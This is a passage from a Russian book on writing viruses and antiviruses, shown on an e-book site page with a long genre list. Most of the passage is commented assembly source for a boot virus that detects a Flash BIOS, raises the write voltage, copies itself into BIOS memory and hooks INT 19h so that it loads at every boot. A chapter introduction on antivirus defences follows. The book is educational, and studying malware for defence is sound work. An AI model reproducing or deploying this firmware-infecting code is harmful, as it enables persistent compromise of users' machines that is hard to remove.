- Любовные романы
- Фантастика и фэнтези
- Ненаучная фантастика
- Ироническое фэнтези
- Научная Фантастика
- Фэнтези
- Ужасы и Мистика
- Боевая фантастика
- Альтернативная история
- Космическая фантастика
- Попаданцы
- Юмористическая фантастика
- Героическая фантастика
- Детективная фантастика
- Социально-психологическая
- Боевое фэнтези
- Русское фэнтези
- Киберпанк
- Романтическая фантастика
- Городская фантастика
- Технофэнтези
- Мистика
- Разная фантастика
- Иностранное фэнтези
- Историческое фэнтези
- LitRPG
- Эпическая фантастика
- Зарубежная фантастика
- Городское фентези
- Космоопера
- Разное фэнтези
- Книги магов
- Любовное фэнтези
- Постапокалипсис
- Бизнес
- Историческая фантастика
- Социально-философская фантастика
- Сказочная фантастика
- Стимпанк
- Романтическое фэнтези
- Ироническая фантастика
- Детективы и Триллеры
- Проза
- Юмор
- Феерия
- Новелла
- Русская классическая проза
- Современная проза
- Повести
- Контркультура
- Русская современная проза
- Историческая проза
- Проза
- Классическая проза
- Советская классическая проза
- О войне
- Зарубежная современная проза
- Рассказы
- Зарубежная классика
- Очерки
- Антисоветская литература
- Магический реализм
- Разное
- Сентиментальная проза
- Афоризмы
- Эссе
- Эпистолярная проза
- Семейный роман/Семейная сага
- Поэзия, Драматургия
- Приключения
- Детская литература
- Загадки
- Книга-игра
- Детская проза
- Детские приключения
- Сказка
- Прочая детская литература
- Детская фантастика
- Детские стихи
- Детская образовательная литература
- Детские остросюжетные
- Учебная литература
- Зарубежные детские книги
- Детский фольклор
- Буквари
- Книги для подростков
- Школьные учебники
- Внеклассное чтение
- Книги для дошкольников
- Детская познавательная и развивающая литература
- Детские детективы
- Домоводство, Дом и семья
- Юмор
- Документальные книги
- Бизнес
- Работа с клиентами
- Тайм-менеджмент
- Кадровый менеджмент
- Экономика
- Менеджмент и кадры
- Управление, подбор персонала
- О бизнесе популярно
- Интернет-бизнес
- Личные финансы
- Делопроизводство, офис
- Маркетинг, PR, реклама
- Поиск работы
- Бизнес
- Банковское дело
- Малый бизнес
- Ценные бумаги и инвестиции
- Краткое содержание
- Бухучет и аудит
- Ораторское искусство / риторика
- Корпоративная культура, бизнес
- Финансы
- Государственное и муниципальное управление
- Менеджмент
- Зарубежная деловая литература
- Продажи
- Переговоры
- Личная эффективность
- Торговля
- Научные и научно-популярные книги
- Биофизика
- География
- Экология
- Биохимия
- Рефераты
- Культурология
- Техническая литература
- История
- Психология
- Медицина
- Прочая научная литература
- Юриспруденция
- Биология
- Политика
- Литературоведение
- Религиоведение
- Научпоп
- Психология, личное
- Математика
- Психотерапия
- Социология
- Воспитание детей, педагогика
- Языкознание
- Беременность, ожидание детей
- Транспорт, военная техника
- Детская психология
- Науки: разное
- Педагогика
- Зарубежная психология
- Иностранные языки
- Филология
- Радиотехника
- Деловая литература
- Физика
- Альтернативная медицина
- Химия
- Государство и право
- Обществознание
- Образовательная литература
- Учебники
- Зоология
- Архитектура
- Науки о космосе
- Ботаника
- Астрология
- Ветеринария
- История Европы
- География
- Зарубежная публицистика
- О животных
- Шпаргалки
- Разная литература
- Зарубежная литература о культуре и искусстве
- Пословицы, поговорки
- Боевые искусства
- Прочее
- Периодические издания
- Фанфик
- Военное
- Цитаты из афоризмов
- Гиды, путеводители
- Литература 19 века
- Зарубежная образовательная литература
- Военная история
- Кино
- Современная литература
- Военная техника, оружие
- Культура и искусство
- Музыка, музыканты
- Газеты и журналы
- Современная зарубежная литература
- Визуальные искусства
- Отраслевые издания
- Шахматы
- Недвижимость
- Великолепные истории
- Музыка, танцы
- Авто и ПДД
- Изобразительное искусство, фотография
- Истории из жизни
- Готические новеллы
- Начинающие авторы
- Спецслужбы
- Подростковая литература
- Зарубежная прикладная литература
- Религия и духовность
- Старинная литература
- Справочная литература
- Компьютеры и Интернет
- Блог
Создаем вирус и антивирус - Игорь Гульев
Шрифт:
Интервал:
Закладка:
Int13h proc near
pushf
call dword ptr cs:[i13]
ret
Int13h endp
;Первые два байта слова используются как сигнатура
Marker db ”VLAD”
;Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
;Проверим наличие Flash BIOS
mov ax,0E000h
int 16h
jc no_flash_bios
cmp al,0FAh
jne no_flash_bios
;Сначала найдем хорошее место для хранения вируса.
;Просканируем память F000h−FFFFh, где обычно находится BIOS,
;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
;но выделить нужно с запасом
Infect_Flash:
;Установим начальный сегмент для поиска
mov ax,0F000h
mov ds,ax
;Проверим сегмент
New_segment:
;Установим стартовое смещение
xor si,si
;Установим счетчик найденных байт
;(величина свободного места для вируса)
xor dx,dx
ok_new_segment:
;Перейдем к следующему сегменту
inc ax
mov ds,ax
;Проверим, есть ли еще место для вируса
cmp ax,0FFF0h
je no_flash_BIOS
;Проверим, свободно ли место (для скорости проверяем словами)
Test16:
cmp word ptr [si],0
jne new_segment
;Увеличим счетчик размера найденного свободного места
inc dx
;Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт,
но
;так как память сканируем словами, сравниваем с 512 (1Кбайт=512
слов)
cmp dx,512
je found_storage
;Увеличим смещение проверяемого байта
inc si
inc si
;Сравним с 16. Переходим к следующему сегменту
;в начале каждого параграфа
cmp si,16
je ok_new_segment
jmp test16
;В эту точку попадаем, если место найдено
Found_storage:
;Перейдем к началу зоны
sub ax,40h
mov ds,ax
;Получим требования к сохранению состояния чипа
mov ax,0E001h
int 16h
;Проверим, сколько памяти необходимо для сохранения состояния
;чипа. Если слишком много, не будем сохранять состояние
cmp bx,512
jbe save_chipset
;Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset,1
;Перейдем к записи
jmp write_enable
;Сюда попадаем, если Flash BIOS не обнаружен:
;записывать некуда – выходим
No_Flash_BIOS:
ret
;Сохраним состояние чипа
save_chipset:
;Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset,0
;Сохраним состояние
mov al,2
push cs
pop es
mov di,offset buffer
int 16h
;Записываемся во Flash BIOS
write_enable:
;Повышаем напряжение
mov al,5
int 16h
;Разрешаем запись во Flash BIOS
mov al,7
int 16h
;Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di,di
mov cx,512
push cs
pop ds
xor si,si
cld
rep movsb
;Здесь нужна особая осторожность. Int19h указывает на BIOS,
;позднее оно перехватывается различными программами.
;Если трассировать его, можно наткнуться на закрытую область
;или на сегмент 70h, но этого не будет при загрузке. Понятно,
;что это единственное удачное время для выполнения вируса.
;Все, что нужно – ”внедриться” в int19h.
;Можно перехватить его в том месте, где находится
;сохраненная таблица векторов, но сделаем интереснее.
;Получим смещение оригинального обработчика int19h
mov bx,es ;BX=сегмент вируса
xor ax,ax
mov ds,ax ;DS=Таблица векторов
mov di,word ptr [19h*4] ;Смещение INT 19h
mov es,word ptr [19h*4+2] ;Сегмент INT 19h
;Запишем JMP FAR по адресу точки входа в INT 19h
mov al,0EAh
stosb
mov ax,offset int19handler
stosw
mov ax,bx
stosw
;Понизим напряжение
mov ax,0E004h
int 16h
;Защитим Flash BIOS от записи
mov al,6
int 16h
;Проверим, сохранялось ли состояние чипа, если нет – выходим
cmp byte ptr cs:chipset,0
jne No_Flash_BIOS
;Восстановим состояние чипа
push cs
pop es
mov al,3
mov di,offset buffer
int 16h
jmp No_Flash_BIOS
;Флаг несохранения состояния чипа
chipset db 0
;Флаг присутствия вируса во Flash BIOS
flash_done db 0
;Наш обработчик INT 19h.
Int19Handler Proc Near
;Установим сегментный регистр ES в ноль
xor ax,ax
mov es,ax
;Проверим наличие резидентного вируса
mov ax,0ABBAh
int 13h
;Если вирус присутствует, то запускаем оригинальный
;обработчик прерывания INT 19h
cmp ax,0BAABh
jne real_int19h
;Перенесем вирус из BIOS в boot−буфер
push cs
pop ds
cld
xor si,si
mov di,7c00h
mov cx,512
rep movsb
;Запустим вирус в boot−буфере
mov dl,80h
jmp goto_Buffer
Real_int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
;Проинициализируем значения регистров для загрузки boot−сектора
mov cx,1
mov dh,0
mov ax,0201h
mov bx,7C00h
;Проверим, откуда грузимся: если DL не нулевой,
;переходим к загрузке с жесткого диска
cmp dl,0
ja hd_int19h
;Прочтем boot−сектор с дискеты. Если при чтении происходит
;ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
;Установим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7C00h+offset flash_done],1
;Запустим boot−сектор, находящийся в boot−буфере
db 0EAh ;Код команды JMP FAR
dw 7c00h
dw 0
Fix_HD:
;Установим номер диска для загрузки (диск C)
mov dl,80h
HD_Int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
;Прочтем boot−сектор
mov ax,0201h
int 13h
jc Boot
jmp Goto_Buffer
;Если не удалось загрузить boot−сектор,
;вызываем прерывание INT 18h
Boot:
int 18h
Int19Handler EndP
Flash_BIOS EndP
End_Virus:
;Размер области памяти, необходимый для дополнения
;размера вируса до 510 байт
DupSize equ 510–offset End_Virus
;Заполнение незанятой вирусом части сектора
db DupSize dup (0)
db 55h,0aah
;Место для сохранения состояния чипа
Buffer:Глава 6 Методы борьбы с вирусами
В этой главе описаны наиболее эффективные методы борьбы с вирусами, защиты от проникновения и лечения. Приведены алгоритмы необходимых действий при подозрении на наличие вируса в компьютере. Описаны меры по предотвращению «эпидемии» путем создания программы-блокировщика.
Рассмотрен пример создания программы-антивируса. Представлены исходные тексты программ с подробными комментариями.
В предыдущих главах состоялось знакомство с компьютерными вирусами, поражающими Flash BIOS, документы текстового процессора Microsoft Word 6.0 for Windows, файлы разных операционных систем и прочие. Пришло время рассмотреть различные способы борьбы с ними.
Итак, что же такое антивирус? Сразу же развеем одну часто возникающую иллюзию. Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Такая точка зрения не совсем верна. Дело в том, что антивирус – это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. То есть антивирус против конкретного вируса может быть написан только в том случае, когда у программиста есть в наличии хотя бы один экземпляр этого вируса. Вот и идет эта бесконечная война между авторами вирусов и антивирусов, правда, первых в нашей стране почему-то всегда больше, чем вторых. Но и у создателей антивирусов есть преимущество! Дело в том, что существует большое количество вирусов, алгоритм которых практически скопирован с алгоритма других вирусов. Как правило, такие вариации создают непрофессиональные программисты, которые по каким-то причинам решили написать вирус. Для борьбы с такими «копиями» придумано новое оружие – эвристические анализаторы. С их помощью антивирус способен находить подобные аналоги известных вирусов, сообщая пользователю, что у него, похоже, завелся вирус. Естественно, надежность эвристического анализатора не 100 %, но все же его коэффициент полезного действия больше 0,5. Таким образом, в этой информационной войне, как, впрочем, и в любой другой, остаются сильнейшие. Вирусы, которые не распознаются антивирусными детекторами, способны написать только наиболее опытные и квалифицированные программисты.
Таким образом, на 100 % защититься от вирусов практически невозможно (подразумевается, что пользователь меняется дискетами с друзьями и играет в игры, а также получает информацию из других источников, например из сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом невозможно – сам он не родится.
Итак, что же можно посоветовать, чтобы сталкиваться с вирусами как можно меньше или, по крайней мере, только сталкиваться, не допуская их на жесткий диск своего винчестера. В первую очередь – самые элементарные правила «компьютерной гигиены»: проверка дискет на наличие вируса самыми надежными антивирусными программами, такими, например, как AVP или DrWeb. Очень хорошо, если на жестком диске установлен ревизор Adinf. Многие пользователи добавляют строку запуска ревизоров, антивирусов, антивирусных мониторов в конфигурационный файл AUTOEXEC.BAT – тоже весьма действенно.
Есть определенные способы борьбы и с загрузочными вирусами. В установках (SETUP) компьютера предусмотрена защита от записи в MBR. Когда запись начинается, BIOS сразу же ее останавливает и запрашивает подтверждение на разрешение записи. Естественно, следует запретить запись, а затем загрузится со своей, заранее подготовленной, системной дискеты. У большинства компьютерных пользователей такой дискеты нет – а надо бы завести. И это еще не все. Вирусы постоянно совершенствуются, и все их многообразие охватить, конечно, невозможно. Поэтому надо быть готовым, что рано или поздно вирус все-таки попадет на жесткий диск, и встретить его нужно во всеоружии.
